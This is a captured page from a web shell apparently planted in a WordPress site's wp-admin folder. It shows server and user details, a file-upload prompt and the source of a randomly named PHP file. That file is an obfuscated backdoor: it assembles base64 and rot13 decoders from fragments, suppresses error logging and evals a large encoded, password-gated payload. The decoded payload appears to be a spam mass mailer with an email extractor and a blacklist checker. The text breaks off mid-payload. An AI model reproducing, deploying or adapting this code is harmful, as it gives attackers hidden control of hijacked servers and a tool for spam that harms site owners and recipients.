https://t.me/RX1948
Server : LiteSpeed
System : Linux srv526460274 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : kerao9884 ( 1082)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /home/kaos188slot.com/public_html/wp-admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/kaos188slot.com/public_html/wp-admin/kcbqyipd.php
<?php $password = "tvqvdnzex"; $eBXUo = 'base'.'64'.'_deco'.'de'; $tHsdV = 'st'.'r'.'_ro'.'t13'; ini_set('error_log', NULL); /* ocloikrultfvhwqw p dvyqtd        **/ error_reporting(0); eval($tHsdV($eBXUo('CgpmcmZmdmJhX2ZnbmVnKCk7CnJlZWJlX2VyY2JlZ3ZhdCgwKTsKZnJnX2d2enJfeXZ6dmcoMCk7CnZhdl9mcmcoInpyemJlbF95dnp2ZyIsLTEpOwoKJHlybnNbJ2lyZWZ2YmEnXT0iMi44IjsKJHlybnNbJ2pyb2Z2Z3InXT0ieXJuc3pudnlyZS5jaiI7CgoKJGZyZmZ2YmFwYnFyID0genE1KF9fU1ZZUl9fKTsKdnMoIXJ6Y2dsKCRjbmZmamJlcSkgbmFxICRfRlJGRlZCQVskZnJmZnZiYXBicXJdICE9ICRjbmZmamJlcSl7CiAgICB2cyAodmZmcmcoJF9FUkRIUkZHWydjbmZmJ10pIG5hcSAkX0VSREhSRkdbJ2NuZmYnXSA9PSAkY25mZmpiZXEpIHsKICAgICAgICAkX0ZSRkZWQkFbJGZyZmZ2YmFwYnFyXSA9ICRjbmZmamJlcTsKICAgIH0KICAgIHJ5ZnIgewogICAgICAgIGNldmFnICI8Y2VyIG55dnRhPXByYWdyZT48c2JleiB6cmd1YnE9Y2JmZz5DbmZmamJlcTogPHZhY2hnIGdsY3I9J2NuZmZqYmVxJyBhbnpyPSdjbmZmJz48dmFjaGcgZ2xjcj0nZmhvenZnJyBpbnlocj0nPj4nPjwvc2Jlej48L2Nlcj4iOwogICAgICAgIHJrdmc7ICAgICAgICAKICAgIH0KfQoKZnJmZnZiYV9qZXZncl9weWJmcigpOwoKCnNoYXBndmJhIHlybnNQeXJuZSgkZ3JrZywkcnpudnkpewoJJHIgPSBya2N5YnFyKCdAJywgJHJ6bnZ5KTsKCSRyem52eWhmcmU9JHJbMF07CgkkcnpudnlxYnpudmE9JHJbMV07CiAgICAkZ3JrZyA9IGZnZV9lcmN5bnByKCJbLWd2enItXSIsIHFuZ3IoInovcS9MIHU6djpmIG4iLCBndnpyKCkpLCAkZ3JrZyk7CiAgICAkZ3JrZyA9IGZnZV9lcmN5bnByKCJbLXJ6bnZ5LV0iLCAkcnpudnksICRncmtnKTsKICAgICRncmtnID0gZmdlX2VyY3lucHIoIlstcnpudnloZnJlLV0iLCAkcnpudnloZnJlLCAkZ3JrZyk7CiAgICAkZ3JrZyA9IGZnZV9lcmN5bnByKCJbLXJ6bnZ5cWJ6bnZhLV0iLCAkcnpudnlxYnpudmEsICRncmtnKTsKICAgICRncmtnID0gZmdlX2VyY3lucHIoIlstZW5hcWJ6eXJnZ3JlZi1dIiwgZW5hcUZnZXZhdCgnbm9wcXJzdHV2d3h5emFiY2RlZmdoaWprbG0nKSwgJGdya2cpOwogICAgJGdya2cgPSBmZ2VfZXJjeW5wcigiWy1lbmFxYnpmZ2V2YXQtXSIsIGVuYXFGZ2V2YXQoJ25vcHFyc3R1dnd4eXphYmNkZWZnaGlqa2xtMDEyMzQ1Njc4OScpLCAkZ3JrZyk7CiAgICAkZ3JrZyA9IGZnZV9lcmN5bnByKCJbLWVuYXFiemFoem9yZS1dIiwgZW5hcUZnZXZhdCgnMDEyMzQ1Njc4OScpLCAkZ3JrZyk7CiAgICAkZ3JrZyA9IGZnZV9lcmN5bnByKCJbLWVuYXFienpxNS1dIiwgenE1KGVuYXFGZ2V2YXQoJ25vcHFyc3R1dnd4eXphYmNkZWZnaGlqa2xtMDEyMzQ1Njc4OScpKSwgJGdya2cpOwogICAgZXJnaGVhICRncmtnOyAgCn0Kc2hhcGd2YmEgeXJuc0dldnooJGZnZXZhdCl7CgkkZmdldmF0PWhleXFycGJxcigkZmdldmF0KTsKICAgIGVyZ2hlYSBmZ2V2Y2Z5bmZ1cmYoZ2V2eigkZmdldmF0KSk7Cn0Kc2hhcGd2YmEgZW5hcUZnZXZhdCgkcGJhZmJhbmFnZikgewogICAgJHlyYXRndT1lbmFxKDEyLDI1KTsKICAgICRjbmZmamJlcSA9ICcnOwogICAgc2JlICgkdiA9IDA7ICR2IDwgJHlyYXRndTsgJHYrKykgewogICAgICAgICAgICAkY25mZmpiZXEgLj0gJHBiYWZiYW5hZ2ZbKGVuYXEoKSAlIGZnZXlyYSgkcGJhZmJhbmFnZikpXTsKICAgIH0KICAgIGVyZ2hlYSAkY25mZmpiZXE7Cn0Kc2hhcGd2YmEgeXJuc1pudnlQdXJweCgkcnpudnkpewogICAgdnMgKHN2eWdyZV9pbmUoJHJ6bnZ5LCBTVllHUkVfSU5ZVlFOR1JfUlpOVlkpKSBlcmdoZWEgZ2VocjsKICAgIHJ5ZnIgZXJnaGVhIHNueWZyOwp9CiMgT2h5dmctdmEgT3lucHhZdmZnIFB1cnB4cmUgCnZzKHZmZnJnKCRfVFJHWydwdXJweF92YyddKSl7CiAgICB2cyAodmZmcmcoJF9UUkdbJ3ViZmcnXSkpewogICAgICAgICRfVFJHWyd1YmZnJ109cmtjeWJxcigiLCIsICRfVFJHWyd1YmZnJ10pOwogICAgICAgIHNiZXJucHUgKCRfVFJHWyd1YmZnJ10gbmYgJHViZmcpIHsKICAgICAgICAgICAgdnMgKHB1cnB4cWFmZWUoJF9UUkdbJ3B1cnB4X3ZjJ10gLiAiLiIgLiAgJHViZmcgLiAiLiIsICJOIikpICRwdXJweD0gIjxzYmFnIHBieWJlPSdlcnEnPiBZdmZncnE8L3NiYWc+IjsKICAgICAgICAgICAgcnlmciAkcHVycHg9ICI8c2JhZyBwYnliZT0ndGVycmEnPiBQeXJuYTwvc2JhZz4iOwogICAgICAgICAgICBjZXZhZyAncWJwaHpyYWcudHJnUnlyenJhZ09sVnEoIicuICR1YmZnLiciKS52YWFyZVVHWlkgPSAiJy4kcHVycHguJyI7JzsKICAgICAgICB9CgogICAgICAgIHJrdmc7CiAgICB9CiAgICAkcWFmb3lfeWJieGhjID0gbmVlbmwoCiAgICAgICAgIm55eS5mNXUuYXJnIiwKICAgICAgICAiby5vbmVlbnBocW5wcmFnZW55LmJldCIsCiAgICAgICAgIm95LmZjbnpwYmMuYXJnIiwKICAgICAgICAib3lucHh5dmZnLmpiYnFsLnB1IiwKICAgICAgICAib2J0YmFmLnBsemVoLnBieiIsCiAgICAgICAgInBveS5ub2hmcm5nLmJldCIsCiAgICAgICAgInBxeS5uYWd2LWZjbnouYmV0LnBhIiwKICAgICAgICAicGJ6b3ZhcnEubm9oZnIucHUiLAogICAgICAgICJxby5qY295LnZhc2IiLAogICAgICAgICJxYWZveS0xLmhwcmNlYmdycGcuYXJnIiwKICAgICAgICAicWFmb3ktMi5ocHJjZWJncnBnLmFyZyIsCiAgICAgICAgInFhZm95LTMuaHByY2ViZ3JwZy5hcmciLAogICAgICAgICJxYWZveS5uYWd2cG5jZ3B1bi5hcmciLAogICAgICAgICJxYWZveS5xZWJhcm95LmJldCIsCiAgICAgICAgInFhZm95LnZhY2YucXIiLAogICAgICAgICJxYWZveS5mYmVvZi5hcmciLAogICAgICAgICJxZWJhci5ub2hmci5wdSIsCiAgICAgICAgInFodmFpLm5oY25xZi5iZXQiLAogICAgICAgICJxaHkucWFmb3kuZmJlb2YuYXJnIiwKICAgICAgICAicWxhbi5mY256ZW5nZi5wYnoiLAogICAgICAgICJxbGF2Yy5lYmd1cmEucGJ6IiwKICAgICAgICAidWdnYy5xYWZveS5mYmVvZi5hcmciLAogICAgICAgICJ2Y2Yub25weGZwbmdncmVyZS5iZXQiLAogICAgICAgICJ2ay5xYWZveS56bmF2Z2guYXJnIiwKICAgICAgICAieGJlcm4uZnJlaXZwcmYuYXJnIiwKICAgICAgICAienZmcC5xYWZveS5mYmVvZi5hcmciLAogICAgICAgICJhYmNnZS5mY256ZW5nZi5wYnoiLAogICAgICAgICJiZWlycW8ubmhjbnFmLmJldCIsCiAgICAgICAgImNveS5mY256dW5oZi5iZXQiLAogICAgICAgICJjZWJrbC5veS50anJyYy5wbiIsCiAgICAgICAgImNmb3kuZmhlZXZyeS5wYnoiLAogICAgICAgICJlcnlubGYub3kudGpycmMucG4iLAogICAgICAgICJlcnlubGYuYXJndXJlLmFyZyIsCiAgICAgICAgImZveS5mY256dW5oZi5iZXQiLAogICAgICAgICJmdWJlZy5lb3kud2MiLAogICAgICAgICJmdmF0aHluZS5nZ3guY2dyLnVoIiwKICAgICAgICAiZnpnYy5xYWZveS5mYmVvZi5hcmciLAogICAgICAgICJmYnB4Zi5xYWZveS5mYmVvZi5hcmciLAogICAgICAgICJmY256Lm5vaGZyLnB1IiwKICAgICAgICAiZmNuei5xYWZveS5uYWJhem52eWYucXIiLAogICAgICAgICJmY256LnFhZm95LmZiZW9mLmFyZyIsCiAgICAgICAgImZjbnouZmNuemVuZ2YucGJ6IiwKICAgICAgICAiZmNuem9iZy5veWYucXZ0dm9uZnIucG4iLAogICAgICAgICJmY256ZW95LnZ6Yy5wdSIsCiAgICAgICAgImZjbnpmYmhlcHJmLnNub3J5LnF4IiwKICAgICAgICAiaG95LnluZnVvbnB4LnBieiIsCiAgICAgICAgImhveS5oYWZob2ZwYmVyLnBieiIsCiAgICAgICAgIml2ZWhmLmVveS53YyIsCiAgICAgICAgImpyby5xYWZveS5mYmVvZi5hcmciLAogICAgICAgICJqYmV6ZW95LnZ6Yy5wdSIsCiAgICAgICAgImtveS5mY256dW5oZi5iZXQiLAogICAgICAgICJtLnpudnlmY3Z4ci5hcmciLAogICAgICAgICJtcmEuZmNuenVuaGYuYmV0IiwKICAgICAgICAibWJ6b3ZyLnFhZm95LmZiZW9mLmFyZyIsCiAgICApOwogICAgJGVyaXJlZnJfdmMgPSB2emN5YnFyKCIuIiwgbmVlbmxfZXJpcmVmcihya2N5YnFyKCIuIiwgJF9UUkdbJ3B1cnB4X3ZjJ10pKSk7CiAgICAkcWFmRyA9IHBiaGFnKCRxYWZveV95YmJ4aGMpOwogICAgeXJuc3VybnFyZSgpOwogICAgY2V2YWcgJzxxdmkgcHluZmY9InBiYWdudmFyZSBwYnkteXQtNiI+PHUzPjxzYmFnIHBieWJlPSJ0ZXJyYSI+PGZjbmEgcHluZmY9InR5bGN1dnBiYSB0eWxjdXZwYmEteXJucyI+PC9mY25hPjwvc2JhZz4gWXJucyBDVUNabnZ5cmUgPGZ6bnl5Pk95bnB4eXZmZyBQdXJweHJlPC9mem55eT48L3UzPic7CiAgICBDZXZhZyAiUHVycHh2YXQgPG8+Ii4kX1RSR1sncHVycHhfdmMnXS4iPC9vPiB2YSA8bz4kcWFmRzwvbz4gIG5hZ3YtZmNueiBxbmdub25mcmY6PG9lPiI7CiAgICAkcWFmQT0iIjsKICAgIGNldmFnICc8Z25veXIgPic7CiAgICBzYmUgKCR2PTA7ICR2IDwgJHFhZkc7ICR2PSR2KzEwKSB7IAogICAgICAgICR1YmZnPSIiOwogICAgICAgICR1YmZnZj0iIjsKICAgICAgICBzYmUoJHc9JHY7ICR3PCR2KzEwOyR3KyspewogICAgICAgICAgICAkdWJmZz0kcWFmb3lfeWJieGhjWyR3XTsKICAgICAgICAgICAgdnMoIXJ6Y2dsKCR1YmZnKSl7CiAgICAgICAgICAgICAgICBjZXZhZyAiPGdlPiA8Z3E+JHViZmc8L2dxPiA8Z3EgdnE9JyR1YmZnJz5QdXJweHZhdCAuLjwvZ3E+PC9nZT4iOwogICAgICAgICAgICAgICAgJHViZmdmIC49IiR1YmZnLCI7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJHFhZkEuPSI8ZnBldmNnIGZlcD0nP3B1cnB4X3ZjPSRlcmlyZWZyX3ZjJnViZmc9Ii4kdWJmZ2YuIicgZ2xjcj0nZ3JrZy93bmluZnBldmNnJz48L2ZwZXZjZz4iOwogICAgfQoKICAgIGNldmFnICc8L2dub3lyPjwvcXZpPic7CiAgICBjZXZhZyAkcWFmQTsKICAgIHJrdmc7Cn0KdnModmZmcmcoJF9UUkdbJ3J6bnZ5c3Z5Z3JlJ10pKXsKCiAgICB2cyghcnpjZ2woJF9TVllSRlsnc3Z5ckdiSGN5Ym5xJ11bJ2d6Y19hbnpyJ10pKXsKICAgICAgICAkX0NCRkdbJ3J6bnZ5WXZmZyddPSBzdnlyX3RyZ19wYmFncmFnZigkX1NWWVJGWyJzdnlyR2JIY3libnEiXVsiZ3pjX2FuenIiXSk7IAogICAgfQogICAgJF9DQkZHWydyem52eVl2ZmcnXT1mZ2VnYnlianJlKCRfQ0JGR1sncnpudnlZdmZnJ10pOwogICB2cygkX1RSR1sncnpudnlzdnlncmUnXT09InZzZW56Iil7CiAgICAgICAgdnMgKCRfQ0JGR1snZXJmaHlnZ2xjciddID09ICJxYmpheWJucSIpewogICAgICAgICAgICB1cm5xcmUoIlBiYWdyYWctUXJmcGV2Y2d2YmE6IFN2eXIgR2VuYWZzcmUiKTsgCiAgICAgICAgICAgIHVybnFyZSgiUGJhZ3JhZy1HbGNyOiBuY2N5dnBuZ3ZiYS9icGdyZy1mZ2VybnoiKTsgCiAgICAgICAgICAgIHVybnFyZSgiUGJhZ3JhZy1RdmZjYmZ2Z3ZiYTogbmdnbnB1enJhZzsgc3Z5cmFuenI9cnpudnlmIi5ndnpyKCkuIi5na2ciKTsKICAgICAgICB9CiAgICAgICAgcnlmciB7CiAgICAgICAgICAgIHVybnFyZSgiUGJhZ3JhZy1HbGNyOiBncmtnL2N5bnZhIik7CiAgICAgICAgfQogICAgdnMoJF9DQkZHWydmaG96dmcnXT09InJrZ2VucGciKXsKICAgICAgICAkY25nZ3JlYSA9ICcvW04tTW4tbTAtOS5fJSstXStAW04tTW4tbTAtOS4tXStcLltOLU1uLW1dezIsNH0vJzsKICAgICAgICBjZXJ0X3puZ3B1X255eSgkY25nZ3JlYSwgJF9DQkZHWydyem52eVl2ZmcnXSwgJHpuZ3B1cmYpOwogICAgICAgIHNiZXJucHUgKCR6bmdwdXJmWzBdIG5mICRyem52eSkgewogICAgICAgICAgICBjZXZhZyAkcnpudnkuIlxhIjsKICAgICAgICB9CiAgICB9CiAgICByeWZydnMgKCRfQ0JGR1snZmhvenZnJ109PSJzdnlncmUiKSB7CiAgICAgICAgJHJ6bnZ5Zj1ya2N5YnFyKCJcYSIsICRfQ0JGR1sncnpudnlZdmZnJ10pOwogICAgICAgICR4cmxqYmVxZj1ya2N5YnFyKCJcYSIsIGZnZWdieWJqcmUoJF9DQkZHWyd4cmxqYmVxZiddKSk7CiAgICAgICAgc2Jlcm5wdSAoJHJ6bnZ5ZiBuZiAkcnpudnkpIHsKICAgICAgICAgICAgc2Jlcm5wdSAoJHhybGpiZXFmIG5mICR4cmxqYmVxICkgewogICAgICAgICAgICAgICAgdnMoZmdlZmdlKCRyem52eSwgJHhybGpiZXEpICl7CiAgICAgICAgICAgICAgICAgICAgY2V2YWcgJHJ6bnZ5LiJcYSI7CiAgICAgICAgICAgICAgICAgICAgIG9lcm54OwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICB9CiAgICBya3ZnOwogICB9CiAgIHlybnN1cm5xcmUoKTsKICAgY2V2YWcgJzxxdmkgcHluZmY9InBiYWdudmFyZSBwYnkteXQtNCI+PHUzPjxzYmFnIHBieWJlPSJ0ZXJyYSI+PGZjbmEgcHluZmY9InR5bGN1dnBiYSB0eWxjdXZwYmEteXJucyI+PC9mY25hPjwvc2JhZz4gWXJucyBDVUNabnZ5cmUgPGZ6bnl5PlJ6bnZ5IFN2eWdyZTwvZnpueXk+PC91Mz4nOwogICBjZXZhZyAnCiAgICA8c2JleiBucGd2YmE9Ij9yem52eXN2eWdyZT12c2VueiIgenJndWJxPSJDQkZHIiBnbmV0cmc9InpsLXZzZW56ciIgcmFwZ2xjcj0iemh5Z3ZjbmVnL3NiZXotcW5nbiIgYmFmaG96dmc9XCdcJz4KICAgICAgICA8eW5vcnkgc2JlPSJyem52eVl2ZmciPkdya2cgPC95bm9yeT48dmFjaGcgZ2xjcj0ic3Z5ciIgYW56cj0ic3Z5ckdiSGN5Ym5xIiB2cT0ic3Z5ckdiSGN5Ym5xIj4gCiAgICAgICAgYmUKCiAgICAgICAgPGdya2duZXJuIGFuenI9InJ6bnZ5WXZmZyIgdnE9InJ6bnZ5WXZmZyIgcHluZmY9InNiZXotcGJhZ2VieSIgZWJqZj0iNyIgdnE9Imdya2dOZXJuIj48L2dya2duZXJuPgogICAgICA8cXZpIHB5bmZmPSJwYnkteXQtMTIiPgogICAgICAgIDxxdmkgcHluZmY9ImVucXZiIj4KICAgICAgICAgIDx5bm9yeT4KICAgICAgICAgICAgPHZhY2hnIGdsY3I9ImVucXZiIiBhbnpyPSJlcmZoeWdnbGNyIiB2cT0iZXJmaHlnZ2xjciIgaW55aHI9InVyZXIiIHB1cnB4cnE9IiI+CiAgICAgICAgICAgIEZ1YmogRXJmaHlnIHZhIGd1dmYgY250cgogICAgICAgICAgPC95bm9yeT4KICAgICAgICA8L3F2aT4KICAgICAgICA8cXZpIHB5bmZmPSJlbnF2YiI+CiAgICAgICAgICA8eW5vcnk+CiAgICAgICAgICAgIDx2YWNoZyBnbGNyPSJlbnF2YiIgYW56cj0iZXJmaHlnZ2xjciIgdnE9ImVyZmh5Z2dsY3IiIGlueWhyPSJxYmpheWJucSI+CiAgICAgICAgICAgIFFiamF5Ym5xIEVyZmh5ZyAoc2JlIG92dCBhaHpvcmVmKQogICAgICAgICAgPC95bm9yeT4KICAgICAgICA8L3F2aT4KICAgICAgPC9xdmk+CiAgICAgICAgICAgIDx5cnRyYXE+PHU0PlJrZ2VucGcgUnpudnk8L3U0PjwveXJ0cmFxPgogICAgICAgICAgICBRcmdycGd2YXQgcmlyZWwgcnpudnkgKDEwMCUpIG5hcSBiZXFyZSBndXJ6IHl2YXIgb2wgeXZhciA8b2U+PG9lPgogICAgICAgIDxvaGdnYmEgZ2xjcj0iZmhvenZnIiBhbnpyPSJmaG96dmciIGlueWhyPSJya2dlbnBnIiBweW5mZj0ib2dhIG9nYS1xcnNuaHlnIG9nYS1meiI+RmduZWc8L29oZ2diYT4KICAgICAgICAgICAgPHlydHJhcT48dTQ+U3Z5Z3JlIFJ6bnZ5ZjwvdTQ+PC95cnRyYXE+CiAgICAgICAgPHlub3J5ID5YcmxqYmVxZiA8ZnpueXk+IHJrOiB0em52eS5wYnogYmUgLnBiLmh4PC9mem55eT4gPC95bm9yeT48Z3JrZ25lcm4gYW56cj0ieHJsamJlcWYiIHZxPSJ4cmxqYmVxZiIgcHluZmY9InNiZXotcGJhZ2VieSIgZWJqZj0iNCIgdnE9Imdya2dOZXJuIj50em52eS5wYnoKdWJnem52eS5wYnoKbG51YmIucGJ6Ci5wYi5oeDwvZ3JrZ25lcm4+PG9lPgoKICAgICAgICAgICAgPG9oZ2diYSBnbGNyPSJmaG96dmciIGFuenI9ImZob3p2ZyIgaW55aHI9InN2eWdyZSIgcHluZmY9Im9nYSBvZ2EtcXJzbmh5ZyBvZ2EtZnoiPkZnbmVnPC9vaGdnYmE+CiAgICA8L3NiZXo+CiAgICA8eW5vcnkgPkVyZmh5ZyA8L3lub3J5PgogICAgPHZzZW56ciBmZ2x5cj0ib2JlcXJlOmFiYXI7anZxZ3U6MTAwJTsiIGFuenI9InpsLXZzZW56ciIgIGZlcD0iP3J6bnZ5c3Z5Z3JlPXZzZW56IiA+PC92c2VuenI+CiAgICc7CiAgIHJrdmc7Cgp9CiR1Z3p5PSJwdXJweHJxIjsKJGhnczg9ImZyeXJwZ3JxIjsKJG92Zzg9ImZyeXJwZ3JxIjsKCnZzKCRfQ0JGR1snbnBndmJhJ109PSJmcmFxIiBiZSAkX0NCRkdbJ25wZ3ZiYSddPT0iZnBiZXIiKXsKCiAgICAkZnJhcXJlUnpudnk9eXJuc0dldnooJF9DQkZHWydmcmFxcmVSem52eSddKTsKICAgICRmcmFxcmVBbnpyPXlybnNHZXZ6KCRfQ0JGR1snZnJhcXJlQW56ciddKTsKICAgICRlcmN5bEdiPXlybnNHZXZ6KCRfQ0JGR1snZXJjeWxHYiddKTsKICAgICRmaG93cnBnPXlybnNHZXZ6KCRfQ0JGR1snZmhvd3JwZyddKTsKICAgICRyem52eVl2Zmc9eXJuc0dldnooJF9DQkZHWydyem52eVl2ZmcnXSk7CiAgICAkenJmZm50ckdsY3I9eXJuc0dldnooJF9DQkZHWyd6cmZmbnRyR2xjciddKTsKICAgICR6cmZmbnRyWXJnZ3JlPXlybnNHZXZ6KCRfQ0JGR1snenJmZm50cllyZ2dyZSddKTsKICAgICRyYXBicXZhdCA9ICRfQ0JGR1sncmFwYnFyJ107CiAgICAkcHVuZWZyZyA9ICRfQ0JGR1sncHVuZWZyZyddOwogICAgJHVnenk9IiI7CiAgICAkaGdzOD0iIjsKICAgICRvdmc4PSIiOwoKICAgIHZzKCR6cmZmbnRyR2xjcj09MikgJGN5bnZhPSJwdXJweHJxIjsKICAgIHJ5ZnIgJHVnenk9InB1cnB4cnEiOwoKICAgIHZzKCRwdW5lZnJnPT0iVkZCLTg4NTktMSIpICR2ZmI9ImZyeXJwZ3JxIjsKICAgIHJ5ZnIgJGhnczg9ImZyeXJwZ3JxIjsKCiAgICB2cygkcmFwYnF2YXQ9PSI3b3ZnIikgJG92Zzc9ImZyeXJwZ3JxIjsKICAgIHJ5ZnJ2cygkcmFwYnF2YXQ9PSJvdmFuZWwiKSAkb3ZhbmVsPSJmcnlycGdycSI7CiAgICByeWZydnMoJHJhcGJxdmF0PT0ib25mcjY0IikgJG9uZnI2ND0iZnJ5cnBncnEiOwogICAgcnlmcnZzKCRyYXBicXZhdD09ImRoYmdycS1jZXZhZ25veXIiKSAkZGhiZ3JxY2V2YWdub3lyPSJmcnlycGdycSI7CiAgICByeWZyICRvdmc4PSJmcnlycGdycSI7CgoKCn0KdnMoJF9DQkZHWyducGd2YmEnXT09Iml2cmoiKXsKCSRpdnJqWnJmZm50cj15cm5zR2V2eigkX0NCRkdbJ3pyZmZudHJZcmdncmUnXSk7CgkkaXZyalpyZmZudHI9eXJuc1B5cm5lKCRpdnJqWnJmZm50ciwiaGZyZUBxYnpudmEucGJ6Iik7Cgl2cyAoJF9DQkZHWyd6cmZmbnRyR2xjciddPT0yKXsKCQljZXZhZyAiPGNlcj4iLnVnenlmY3Jwdm55cHVuZWYoJGl2cmpacmZmbnRyKS4iPC9jZXI+IjsKCX0KCXJ5ZnIgewoJCWNldmFnICRpdnJqWnJmZm50cjsKCX0KCXJrdmc7Cn0KCgoKdnMoIXZmZnJnKCRfQ0JGR1snZnJhcXJlUnpudnknXSkpewogICAgJGZyYXFyZVJ6bnZ5PSJmaGNjYmVnQCIuZmdlX2VyY3lucHIoImpqai4iLCAiIiwgJF9GUkVJUkVbJ1VHR0NfVUJGRyddKTsKICAgIHZzICgheXJuc1pudnlQdXJweCgkZnJhcXJlUnpudnkpKSAkZnJhcXJlUnpudnk9IiI7Cn0KCnB5bmZmIENVQ1pudnlyZQp7CiAgICAvKioKICAgICAqIEd1ciBDVUNabnZ5cmUgSXJlZnZiYSBhaHpvcmUuCiAgICAgKiBAaW5lIGZnZXZhdAogICAgICovCiAgICBjaG95dnAgJElyZWZ2YmEgPSAnNS4yLjI4JzsKCiAgICAvKioKICAgICAqIFJ6bnZ5IGNldmJldmdsLgogICAgICogQmNndmJhZjogYWh5eSAocXJzbmh5ZyksIDEgPSBVdnR1LCAzID0gQWJlem55LCA1ID0geWJqLgogICAgICogSnVyYSBhaHl5LCBndXIgdXJucXJlIHZmIGFiZyBmcmcgbmcgbnl5LgogICAgICogQGluZSB2YWdydHJlCiAgICAgKi8KICAgIGNob3l2cCAkQ2V2YmV2Z2wgPSBhaHl5OwoKICAgIC8qKgogICAgICogR3VyIHB1bmVucGdyZSBmcmcgYnMgZ3VyIHpyZmZudHIuCiAgICAgKiBAaW5lIGZnZXZhdAogICAgICovCiAgICBjaG95dnAgJFB1bmVGcmcgPSAndmZiLTg4NTktMSc7CgogICAgLyoqCiAgICAgKiBHdXIgWlZaUiBQYmFncmFnLWdsY3IgYnMgZ3VyIHpyZmZudHIuCiAgICAgKiBAaW5lIGZnZXZhdAogICAgICovCiAgICBjaG95dnAgJFBiYWdyYWdHbGNyID0gJ2dya2cvY3ludmEnOwoKICAgIC8qKgogICAgICogR3VyIHpyZmZudHIgcmFwYnF2YXQuCiAgICAgKiBCY2d2YmFmOiAiOG92ZyIsICI3b3ZnIiwgIm92YW5lbCIsICJvbmZyNjQiLCBuYXEgImRoYmdycS1jZXZhZ25veXIiLgogICAgICogQGluZSBmZ2V2YXQKICAgICAqLwogICAgY2hveXZwICRSYXBicXZhdCA9ICc4b3ZnJzsKCiAgICAvKioKICAgICAqIFVieXFmIGd1ciB6YmZnIGVycHJhZyB6bnZ5cmUgcmVlYmUgenJmZm50ci4KICAgICAqIEBpbmUgZmdldmF0CiAgICAgKi8KICAgIGNob3l2cCAkUmVlYmVWYXNiID0gJyc7CgogICAgLyoqCiAgICAgKiBHdXIgU2VieiByem52eSBucXFlcmZmIHNiZSBndXIgenJmZm50ci4KICAgICAqIEBpbmUgZmdldmF0CiAgICAgKi8KICAgIGNob3l2cCAkU2VieiA9ICdlYmJnQHlicG55dWJmZyc7CgogICAgLyoqCiAgICAgKiBHdXIgU2VieiBhbnpyIGJzIGd1ciB6cmZmbnRyLgogICAgICogQGluZSBmZ2V2YXQKICAgICAqLwogICAgY2hveXZwICRTZWJ6QW56ciA9ICdFYmJnIEhmcmUnOwoKICAgIC8qKgogICAgICogR3VyIEZyYXFyZSByem52eSAoRXJnaGVhLUNuZ3UpIGJzIGd1ciB6cmZmbnRyLgogICAgICogVnMgYWJnIHJ6Y2dsLCBqdnl5IG9yIGZyYWcgaXZuIC1zIGdiIGZyYXF6bnZ5IGJlIG5mICdaTlZZIFNFQlonIHZhIGZ6Z2MgemJxci4KICAgICAqIEBpbmUgZmdldmF0CiAgICAgKi8KICAgIGNob3l2cCAkRnJhcXJlID0gJyc7CgogICAgLyoqCiAgICAgKiBHdXIgRXJnaGVhLUNuZ3UgYnMgZ3VyIHpyZmZudHIuCiAgICAgKiBWcyByemNnbCwgdmcganZ5eSBvciBmcmcgZ2IgcnZndXJlIFNlYnogYmUgRnJhcXJlLgogICAgICogQGluZSBmZ2V2YXQKICAgICAqIEBxcmNlcnBuZ3JxIFJ6bnZ5IGZyYXFyZWYgZnViaHlxIGFyaXJlIGZyZyBuIGVyZ2hlYS1jbmd1IHVybnFyZTsKICAgICAqIHZnJ2YgZ3VyIGVycHJ2aXJlJ2Ygd2JvIChFU1A1MzIxIGZycGd2YmEgNC40KSwgZmIgZ3V2ZiBhYiB5YmF0cmUgcWJyZiBuYWxndXZhdC4KICAgICAqIEB5dmF4IHVnZ2NmOi8vZ2JieWYudnJncy5iZXQvdWd6eS9lc3A1MzIxI2ZycGd2YmEtNC40IEVTUDUzMjEgZXJzcmVyYXByCiAgICAgKi8KICAgIGNob3l2cCAkRXJnaGVhQ25ndSA9ICcnOwoKICAgIC8qKgogICAgICogR3VyIEZob3dycGcgYnMgZ3VyIHpyZmZudHIuCiAgICAgKiBAaW5lIGZnZXZhdAogICAgICovCiAgICBjaG95dnAgJEZob3dycGcgPSAnJzsKCiAgICAvKioKICAgICAqIE5hIFVHWlkgYmUgY3ludmEgZ3JrZyB6cmZmbnRyIG9icWwuCiAgICAgKiBWcyBVR1pZIGd1cmEgcG55eSB2ZlVHWlkoZ2VocikuCiAgICAgKiBAaW5lIGZnZXZhdAogICAgICovCiAgICBjaG95dnAgJE9icWwgPSAnJzsKCiAgICAvKioKICAgICAqIEd1ciBjeW52YS1ncmtnIHpyZmZudHIgb2JxbC4KICAgICAqIEd1dmYgb2JxbCBwbmEgb3IgZXJucSBvbCB6bnZ5IHB5dnJhZ2YgZ3VuZyBxYiBhYmcgdW5pciBVR1pZIHJ6bnZ5CiAgICAgKiBwbmNub3Z5dmdsIGZocHUgbmYgemhnZyAmIFJocWJlbi4KICAgICAqIFB5dnJhZ2YgZ3VuZyBwbmEgZXJucSBVR1pZIGp2eXkgaXZyaiBndXIgYWJlem55IE9icWwuCiAgICAgKiBAaW5lIGZnZXZhdAogICAgICovCiAgICBjaG95dnAgJE55Z09icWwgPSAnJzsKCiAgICAvKioKICAgICAqIE5hIHZQbnkgenJmZm50ciBjbmVnIG9icWwuCiAgICAgKiBCYXlsIGZoY2NiZWdycSB2YSBmdnpjeXIgbnlnIGJlIG55Z192YXl2YXIgenJmZm50ciBnbGNyZgogICAgICogR2IgdHJhcmVuZ3IgdlBueSByaXJhZ2YsIGhmciBndXIgb2hhcXlycSBya2dlbmYvUm5mbENybmZsVlBGLmN1YyBweW5mZiBiZSB2UG55cGVybmdiZQogICAgICogQHl2YXggdWdnYzovL2ZjZW52YS5wdS9veWJ0L3FiamF5Y